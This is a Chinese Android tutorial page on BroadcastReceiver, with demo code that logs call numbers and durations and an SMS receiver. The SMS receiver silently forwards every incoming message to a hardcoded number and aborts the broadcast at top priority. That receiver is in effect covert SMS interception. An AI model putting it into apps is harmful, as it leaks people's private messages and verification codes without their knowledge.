当前位置: 代码迷 >> Android >> Android从零开始—监听播音BroadcastReceiver(二十一)
  详细解决方案

Android从零开始—监听播音BroadcastReceiver(二十一)

热度:91   发布时间:2016-05-01 11:25:49.0
Android从零开始—监听广播BroadcastReceiver(二十一)
知识点:电话拒接+短息转发(继承BroadcastReceiver)


步骤一、电话的监听(代码如下)
package com.zjyb.demo44;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.telephony.TelephonyManager;import android.util.Log;import android.widget.Toast;//监听电话呼出和呼入的广播public class PhoneBroadReceiver extends BroadcastReceiver{		static long s;	static long e;	static boolean flag=false;		//当电话打出的时候,显示打出的号码	//当接到电话的时候,显示拨入的号码以及通话时间	@Override	public void onReceive(Context context, Intent intent) {		//判断是呼入还是呼出		if(intent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL")){			//当前是呼出,显示呼出号码			String number=intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER);			Log.v("TAG", number);			//18674391429		}else{			//当前是呼入,显示呼入号码,并且统计通话时间			TelephonyManager manager=(TelephonyManager)context.getSystemService(context.TELEPHONY_SERVICE);			switch(manager.getCallState()){				case TelephonyManager.CALL_STATE_RINGING:					String number=intent.getStringExtra("incoming_number");					Log.v("TAG", "来电了,电话号码是:"+number);					//if(number.equals("18674391429")){						//黑名单,拒接					//	Log.v("TAG", "拒接");					//	abortBroadcast();					//}					break;				case TelephonyManager.CALL_STATE_OFFHOOK:					Log.v("TAG", "通话中...");					s=System.currentTimeMillis();					break;				case TelephonyManager.CALL_STATE_IDLE:					Log.v("TAG", "挂断");					e=System.currentTimeMillis();					flag=true;					break;			}			if(flag&&e>s){				Log.v("TAG", "当前通话时间:"+(e-s)/1000);				flag=false;				e=0;				s=0;			}		}					}}


步骤二、短息转发(代码如下)
package com.zjyb.demo44;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.os.Bundle;import android.telephony.SmsManager;import android.telephony.SmsMessage;import android.util.Log;//接收短信广播public class SmsBroadReceiver extends BroadcastReceiver{	@Override	public void onReceive(Context context, Intent intent) {		Bundle bundle=intent.getExtras();		Object[] obs=(Object[])bundle.get("pdus");//protocol description units		SmsMessage[] messages=new SmsMessage[obs.length];		for(int i=0;i<obs.length;i++){			messages[i]=SmsMessage.createFromPdu((byte[])obs[i]);			String address=messages[i].getOriginatingAddress();			String msg=messages[i].getMessageBody();			Log.v("TAG", "收到来自:"+address);			Log.v("TAG","消息是:"+msg);			//将接收的短消息转发			//13838384381			SmsManager manager=SmsManager.getDefault();			manager.sendTextMessage("13838384381", null, msg, null,null);		}		abortBroadcast();	}}


步骤三、广播注册+权限配置(代码如下)
<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"    package="com.zjyb.demo44"    android:versionCode="1"    android:versionName="1.0" >    <uses-sdk        android:minSdkVersion="8"        android:targetSdkVersion="17" />    <application        android:allowBackup="true"        android:icon="@drawable/ic_launcher"        android:label="@string/app_name"        android:theme="@style/AppTheme" >        <activity            android:name="com.zjyb.demo44.MainActivity"            android:label="@string/app_name" >            <intent-filter>                <action android:name="android.intent.action.MAIN" />                <category android:name="android.intent.category.LAUNCHER" />            </intent-filter>        </activity>        <receiver             android:name=".PhoneBroadReceiver"            >            <intent-filter >                <action android:name="android.intent.action.NEW_OUTGOING_CALL"/>                <action android:name="android.intent.action.PHONE_STATE"/>            </intent-filter>        </receiver>        <receiver             android:name=".SmsBroadReceiver"            >            <intent-filter android:priority="1000">                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>            </intent-filter>        </receiver>    </application>	<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>	<uses-permission android:name="android.permission.READ_PHONE_STATE"/>	<uses-permission android:name="android.permission.RECEIVE_SMS"/>	<uses-permission android:name="android.permission.SEND_SMS"/></manifest>


源码下载请点击这里:
  相关解决方案